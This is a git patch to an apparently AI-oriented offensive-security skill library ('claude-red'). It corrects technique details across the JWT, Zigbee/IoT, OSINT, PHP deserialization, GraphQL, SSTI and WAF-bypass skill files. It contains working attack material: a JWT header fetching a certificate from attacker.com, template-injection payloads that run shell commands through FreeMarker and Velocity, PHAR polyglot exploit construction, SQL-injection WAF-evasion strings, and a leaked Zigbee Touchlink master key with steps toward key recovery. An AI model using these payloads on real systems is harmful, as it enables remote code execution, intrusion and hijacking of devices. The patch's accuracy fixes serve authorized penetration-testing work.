From ccc0d397d2d18fa38e1ad96d10b82063f49da209 Mon Sep 17 00:00:00 2001 From: AkasameVN26 Date: Mon, 2 Nov 2026 06:52:22 +0700 Subject: [PATCH] Fix incorrect technique examples and runtime prerequisites --- CHANGELOG.md | 6 ++++ Skills/auth/offensive-jwt/SKILL.md | 10 ++++-- Skills/iot/offensive-iot/SKILL.md | 2 +- .../offensive-osint-methodology/SKILL.md | 4 ++- Skills/web/offensive-deserialization/SKILL.md | 31 ++++++++++++------- Skills/web/offensive-graphql/SKILL.md | 6 ++-- Skills/web/offensive-ssti/SKILL.md | 26 ++++++++++------ Skills/web/offensive-waf-bypass/SKILL.md | 11 ++++--- .../offensive-zigbee-thread-matter/SKILL.md | 16 +++++++--- 9 files changed, 77 insertions(+), 35 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 80fce28..c1b1f0b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,6 +8,12 @@ All notable changes to `claude-red` are documented here. The library follows a p - Replaced an inactive EXIF viewer reference in `offensive-osint` with a browser-local metadata viewer and added evidence-corroboration guidance. +### Fixed + +- Corrected FreeMarker resolver prerequisites, Velocity constructor lookup, the PHP 8.0 PHAR boundary, and Apollo Sandbox's introspection requirement. +- Corrected the Touchlink master key and key derivation terminology in the IoT and wireless skills, and distinguished PLC identity documents from operation logs. +- Clarified JWT critical-header validation and signing prerequisites; corrected SQL/JSON WAF examples and their attribution to Team82's 2022 research. + ### Planned - Phase 1 — Internal AD/Windows split (16 skills) diff --git a/Skills/auth/offensive-jwt/SKILL.md b/Skills/auth/offensive-jwt/SKILL.md index 8ac0987..74e3d11 100644 --- a/Skills/auth/offensive-jwt/SKILL.md +++ b/Skills/auth/offensive-jwt/SKILL.md @@ -212,10 +212,16 @@ Check Wayback Machine for historical URLs with tokens; monitor Referer headers t ``` 6. **x5u / crit Handling:** - ``` + ```json {"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"} - {"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null} + {"alg":"RS256","typ":"JWT","crit":["test_extension"],"test_extension":true} ``` + For the `crit` probe, use an otherwise valid token signed with a test key + trusted by the verifier, or an authorized signing oracle. A verifier that + does not understand `test_extension` must reject it. Acceptance indicates + missing critical-header validation; it does not override the payload's + `exp` claim. Editing a header without re-signing also invalidates its + signature. See [RFC 7515 §4.1.11](https://www.rfc-editor.org/rfc/rfc7515.html#section-4.1.11). 7. **Brute Force HMAC Secret:** ```bash diff --git a/Skills/iot/offensive-iot/SKILL.md b/Skills/iot/offensive-iot/SKILL.md index 6524d6f..5380161 100644 --- a/Skills/iot/offensive-iot/SKILL.md +++ b/Skills/iot/offensive-iot/SKILL.md @@ -282,7 +282,7 @@ zbdump -c 11 -w zigbee.pcap zbreplay -f zigbee.pcap -i 0 ``` -Touchlink commissioning: known transport key in the wild (`0x9F559A553B7A6B2C…`) — many consumer devices accept Touchlink commissioning from any nearby radio. +Touchlink commissioning uses a leaked **master key**, `0x9F5595F10257C8A469CBF42BC93FEE31`. The transaction and response IDs derive a transport key from it; that transport key encrypts the network key during commissioning. With the required commissioning frames, recover the network key before using it to decrypt ordinary traffic in Wireshark. See [P-SCAN test case ZB#3, page 43](https://www.lcie.com/medias/P-SCAN%20Test%20Case%20Specification%20-%20V1.0.pdf) and [Touchlink research](https://www.wim.uni-mannheim.de/media/Lehrstuehle/wim/ths/STAFF/mueller.christian/wisec2017_touchlink.pdf). ### Z-Wave diff --git a/Skills/recon/offensive-osint-methodology/SKILL.md b/Skills/recon/offensive-osint-methodology/SKILL.md index a85e335..a844791 100644 --- a/Skills/recon/offensive-osint-methodology/SKILL.md +++ b/Skills/recon/offensive-osint-methodology/SKILL.md @@ -212,7 +212,9 @@ When this skill is active: - Analyze user profiles for location tags; examine comments and hashtags for clues - **Bluesky AT Protocol** - Resolve handles via `https://bsky.social/xrpc/com.atproto.identity.resolveHandle?handle=` to get DID - - Extract full identity document: `https://plc.directory/` (returns PLC operations, handle history, PDS endpoint) + - For `did:plc` accounts, `https://plc.directory/` returns the current DID document, including the PDS endpoint; it does not return the operation history. `did:web` accounts do not use the PLC directory. + - Read alias history from `https://plc.directory//log` with `jq '.[].alsoKnownAs'`. The `/log/audit` endpoint wraps each operation in metadata, so its selector is `.[].operation.alsoKnownAs`. + - Treat logged aliases as leads: the directory does not verify handle ownership. See the [PLC specification](https://web.plc.directory/spec/v0.1/did-plc) and [operation-log implementation](https://github.com/did-method-plc/did-method-plc/blob/main/packages/server/src/db/index.ts). - Real-time firehose: Use [Firesky](https://firesky.tv/) for live keyword/hashtag monitoring across entire network - Analytics: [SkyView](https://bsky.jazco.dev/) for follower graphs, post engagement, network analysis - Archive early: AT Protocol allows post deletion and handle migration; capture DIDs and post CIDs diff --git a/Skills/web/offensive-deserialization/SKILL.md b/Skills/web/offensive-deserialization/SKILL.md index 08c6932..6ed4da5 100644 --- a/Skills/web/offensive-deserialization/SKILL.md +++ b/Skills/web/offensive-deserialization/SKILL.md @@ -141,9 +141,10 @@ version against known bypass classes: `org.apache.ibatis.datasource.jndi.JndiDat --- ## PHP Deserialization -`unserialize()` instantiates objects and invokes magic methods (`__wakeup`, -`__destruct`, `__toString`) during reconstruction. The `phar://` stream wrapper -triggers deserialization without an explicit `unserialize()` call. +`unserialize()` instantiates objects and can invoke `__wakeup` or `__unserialize` +during reconstruction; gadget chains may subsequently use `__destruct` or +`__toString`. On PHP before 8.0, loading a PHAR archive through `phar://` can +deserialize metadata without an explicit `unserialize()` call. ### Identifying Sinks @@ -151,7 +152,7 @@ triggers deserialization without an explicit `unserialize()` call. // Direct unserialize $obj = unserialize($userInput); -// phar:// wrapper -- any file operation on a phar:// path is a sink +// PHP before 8.0: file operations that load a PHAR can deserialize its metadata file_exists("phar://uploads/avatar.jpg"); is_dir("phar://" . $userControlledPath); // Triggering functions: file_exists, is_dir, is_file, file_get_contents, @@ -184,8 +185,15 @@ phpggc Laravel/RCE1 system 'id' -p phar -pp header.jpg -o exploit.jpg ### phar:// Exploitation -The phar:// wrapper deserializes the metadata section of a PHAR archive on any file -operation. The sink is a file function, not `unserialize()`, so it evades many audits. +On PHP before 8.0, a file operation that loads an attacker-controlled PHAR through +`phar://` can deserialize the archive's metadata. The application must also have +an available gadget class for object instantiation to reach an exploitable sink. + +PHP 8.0 removed automatic metadata deserialization from ordinary file operations. +On PHP 8+, look for an explicit `Phar::getMetadata()` or +`PharFileInfo::getMetadata()` call and inspect its `allowed_classes` options. +A file-operation sink alone is insufficient. See the +[PHP 8.0 migration notes](https://www.php.net/manual/en/migration80.incompatible.php#migration80.incompatible.phar). ```php // Build a malicious PHAR (php.ini: phar.readonly = 0) @@ -202,7 +210,7 @@ $jpegHeader = file_get_contents('legitimate.jpg'); file_put_contents('exploit.jpg', $jpegHeader . file_get_contents('exploit.phar')); ``` -Upload the polyglot as an image, then trigger a file operation referencing +On PHP before 8.0, upload the polyglot as an image, then trigger a file operation referencing `phar://uploads/exploit.jpg/test.txt`. --- @@ -537,9 +545,10 @@ Understanding defensive detection helps you craft payloads that avoid alerts. chains operating entirely within the allowed set. - .NET `SerializationBinder` -- restricts type resolution. Bypass with types within the allowed namespace that still enable execution. -- PHP `allowed_classes` in `unserialize()` -- limits instantiation. Bypass by using - only allowed classes, or reaching the sink through phar:// where the parameter is - not applied. +- PHP `allowed_classes` in `unserialize()` -- limits instantiation. Check for + usable gadgets within the allowed classes. On PHP before 8.0, restrictions on + a separate `unserialize()` call do not cover automatic PHAR metadata loading; + PHP 8+ metadata calls have their own deserialization options. - WAF rules on serialized patterns -- bypass with encoding, compression, or content-type switching. - RASP -- instruments deserialization calls. Test with URLDNS or sleep payloads @@ -559,7 +568,7 @@ Understanding defensive detection helps you craft payloads that avoid alerts. | Java, Commons Collections 3.x | ysoserial | `CommonsCollections1`-`7` | URLDNS first | | Java, unknown classpath | ysoserial | `URLDNS` then error-based enumeration | DNS callback | | PHP Laravel 5.x-9.x | phpggc | `Laravel/RCE1`-`RCE10` | DNS or sleep | -| PHP file upload + file op | phpggc | `-p phar -pp header.jpg` polyglot | phar:// trigger | +| PHP before 8.0, file upload + file op | phpggc | `-p phar -pp header.jpg` polyglot | phar:// trigger | | .NET BinaryFormatter | ysoserial.net | `TypeConfuseDelegate` | Process or DNS | | .NET ViewState, known key | ysoserial.net | `-p ViewState` with key params | Blind exec | | .NET Json.NET TypeNameHandling | ysoserial.net | `ObjectDataProvider` `-f Json.Net` | File write or OOB | diff --git a/Skills/web/offensive-graphql/SKILL.md b/Skills/web/offensive-graphql/SKILL.md index a96564c..2ec08b7 100644 --- a/Skills/web/offensive-graphql/SKILL.md +++ b/Skills/web/offensive-graphql/SKILL.md @@ -88,7 +88,7 @@ Pipe the result into GraphQL Voyager for visual exploration, or load InQL in Bur ### Targeted __type Queries -When full introspection is disabled but `__type` lookups still work (a common misconfiguration where the server blocks `__schema` but forgets `__type`): +When an incomplete custom filter blocks `__schema` but permits `__type`, a targeted lookup may still work. Apollo Server's built-in `introspection: false` restriction blocks both: ```graphql query { __type(name: "User") { name fields { name type { name kind } } } } @@ -116,7 +116,7 @@ Automate this with clairvoyance, which iterates a wordlist, collects suggestions python3 clairvoyance.py -t https://target.com/graphql -w wordlist.txt -o schema.json ``` -**Apollo Sandbox.** If the target runs Apollo Server v3+, navigate to the endpoint in a browser. Apollo Sandbox performs introspection client-side even when the production toggle is off. Check Apollo Studio explorer if the server is registered there. +**Apollo Sandbox.** Sandbox obtains the schema by sending introspection queries to the server. It cannot bypass `introspection: false`; a visible landing page does not imply schema access. See [Apollo Server's production behavior](https://www.apollographql.com/docs/apollo-server/v3/testing/build-run-queries). When introspection is disabled, use field suggestions or exposed client-side query documents; access to a schema in Apollo Studio is a separate permission. **Client-side bundles.** Search JS files for query strings, fragment definitions, and type names: @@ -497,6 +497,7 @@ RECON Endpoint discovery curl POST /graphql, /v1/graphql, /api/graphql with {__typename} Fingerprint graphw00f -t Introspection dump Full __schema query via Altair or InQL + Apollo Sandbox Browse schema only when server introspection is enabled Config audit graphql-cop -t Visualize schema Introspection JSON into GraphQL Voyager @@ -504,7 +505,6 @@ BLIND SCHEMA RECOVERY Field suggestions Query invalid fields, collect "Did you mean" responses Automated recovery clairvoyance -t -w wordlist.txt Client bundles grep -oP '(query|mutation|fragment)\s+\w+' main.js - Apollo sandbox Navigate to endpoint in browser AUTH TESTING No-auth access Replay every query/mutation without Authorization header diff --git a/Skills/web/offensive-ssti/SKILL.md b/Skills/web/offensive-ssti/SKILL.md index 7210ac6..26cc091 100644 --- a/Skills/web/offensive-ssti/SKILL.md +++ b/Skills/web/offensive-ssti/SKILL.md @@ -203,7 +203,9 @@ GET /page?input=%3C%23assign+cmd%3D%22freemarker.template.utility.Execute%22%3Fn Host: target.example.com ``` -ObjectConstructor for ProcessBuilder: +ObjectConstructor for ProcessBuilder, when the class resolver and object wrapper +permit it. Both helpers require `?new` permission; see the resolver restrictions +in [§6.6](#66-engine-specific-bypass). ```html <#assign obj = "freemarker.template.utility.ObjectConstructor"?new()> @@ -213,14 +215,21 @@ ObjectConstructor for ProcessBuilder: ### 4.2 Velocity -- Runtime.exec +Requires an exposed ClassTool and permissive introspection. Constructor lookup +must use the declared `java.io.InputStream` parameter type, not the concrete +process-stream subclass returned by `getClass()`. + ```java #set($runtime = $class.inspect("java.lang.Runtime").type.getRuntime()) #set($process = $runtime.exec("id")) #set($s = $class.inspect("java.util.Scanner").type) -#set($sc = $s.getDeclaredConstructor($process.getInputStream().getClass()).newInstance($process.getInputStream())) -$sc.useDelimiter("\\A").next() +#set($inputType = $class.inspect("java.io.InputStream").type) +#set($sc = $s.getConstructor($inputType).newInstance($process.getInputStream())) +$sc.useDelimiter("\A").next() ``` +See Java's [constructor lookup contract](https://docs.oracle.com/en/java/javase/21/docs/api/java.base/java/lang/Class.html#getConstructor(java.lang.Class...)). + ### 4.3 Pebble -- Reflection Chain ```java @@ -414,12 +423,11 @@ Newline injection: {{\n7*7\n}} (WAFs may not match cross-line patterns) ### 6.6 Engine-Specific Bypass -Freemarker -- when `?new()` is restricted, use ObjectConstructor: - -```html -<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()> -<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])> -``` +Freemarker -- inspect the configured resolver and the objects exposed to the +template. `ObjectConstructor?new()` still uses the restricted built-in and is +not a fallback for a disabled `?new`. `SAFER_RESOLVER` blocks both `Execute` +and `ObjectConstructor`; `ALLOWS_NOTHING_RESOLVER` blocks all classes. See +[TemplateClassResolver](https://freemarker.apache.org/docs/api/freemarker/core/TemplateClassResolver.html). Thymeleaf -- build strings from `T(Character).toString()` calls to avoid keyword filters. diff --git a/Skills/web/offensive-waf-bypass/SKILL.md b/Skills/web/offensive-waf-bypass/SKILL.md index 3eb882b..546056b 100644 --- a/Skills/web/offensive-waf-bypass/SKILL.md +++ b/Skills/web/offensive-waf-bypass/SKILL.md @@ -305,10 +305,13 @@ mindmap - Use Atlas tool for suggesting tamper scripts - Try multiple tamper scripts in combination - Customize tamper scripts for specific WAFs -- **JSON-Based SQL Injection** (CVE-2023-50969): - - Many WAFs (AWS, Cloudflare, F5, Imperva) don't properly support JSON syntax in SQL - - Example: `{"id": {"$gt": "' OR 1=1--"}}` - - Use SQLMap with JSON parameter support for exploitation +- **SQL/JSON syntax evasion** (Team82, 2022): + - Older WAF parsers failed to recognize SQL/JSON syntax. The affected vendors updated their products, so success depends on the ruleset being tested. + - In a single-quoted SQL string, test a dialect-specific predicate: MySQL `' OR JSON_EXTRACT('{"a":1}','$.a')=1-- -`; PostgreSQL `' OR '{"b":2}'::jsonb <@ '{"a":1,"b":2}'::jsonb-- -`. + - This uses JSON syntax inside SQL; it does not require a JSON HTTP request or MongoDB's `$gt` operator. The injection must reach SQL construction, and the database must support the chosen expression. + - MySQL's `->>` shorthand takes a JSON column identifier on the left. For JSON-valued expressions or subqueries, use `JSON_UNQUOTE(JSON_EXTRACT(expression, '$'))`. + - See [Team82's original research and vendor fixes](https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf). + - CVE-2023-50969 concerns duplicate `Content-Encoding` headers in Imperva, a separate technique; see the [researcher's disclosure](https://www.hoyahaxa.com/2024/03/imperva-waf-bypass-cve-2023-50969.html). - Leverage mixed encodings (half‑width Unicode, overlong UTF‑8), embedded comments, and case folding differences. ```mermaid diff --git a/Skills/wireless/offensive-zigbee-thread-matter/SKILL.md b/Skills/wireless/offensive-zigbee-thread-matter/SKILL.md index 20ebba3..0dc5484 100644 --- a/Skills/wireless/offensive-zigbee-thread-matter/SKILL.md +++ b/Skills/wireless/offensive-zigbee-thread-matter/SKILL.md @@ -45,13 +45,21 @@ In Wireshark with the dot15d4 + zbee_nwk dissectors, you'll see frame counters, ## Touchlink Commissioning Abuse -Touchlink (used by Zigbee 3.0 commissioning, especially in lighting) uses a **well-known transport key**: +Touchlink commissioning, especially in lighting, uses a leaked **master key**: +```text +0x9F5595F10257C8A469CBF42BC93FEE31 ``` -0x9F559A553B7A6B2C5C4FBB4E84956F3D -``` -Many consumer Zigbee bulbs / strips accept Touchlink commissioning from any nearby radio with this key — joining them to your network or stealing them from theirs. +The transaction and response IDs derive a transport key from this master key. +The transport key protects the network key exchanged during commissioning; +neither the master key nor the derived transport key replaces the network key +used to decrypt ordinary network traffic. Capture the relevant commissioning +frames before attempting network-key recovery. + +The master key is documented in [P-SCAN test case ZB#3, page 43](https://www.lcie.com/medias/P-SCAN%20Test%20Case%20Specification%20-%20V1.0.pdf). +See also the [Touchlink commissioning research](https://www.wim.uni-mannheim.de/media/Lehrstuehle/wim/ths/STAFF/mueller.christian/wisec2017_touchlink.pdf) +for the derivation and the separate authentication weaknesses in Touchlink commands. ```bash # z3sec — Zigbee 3 commissioning attack toolkit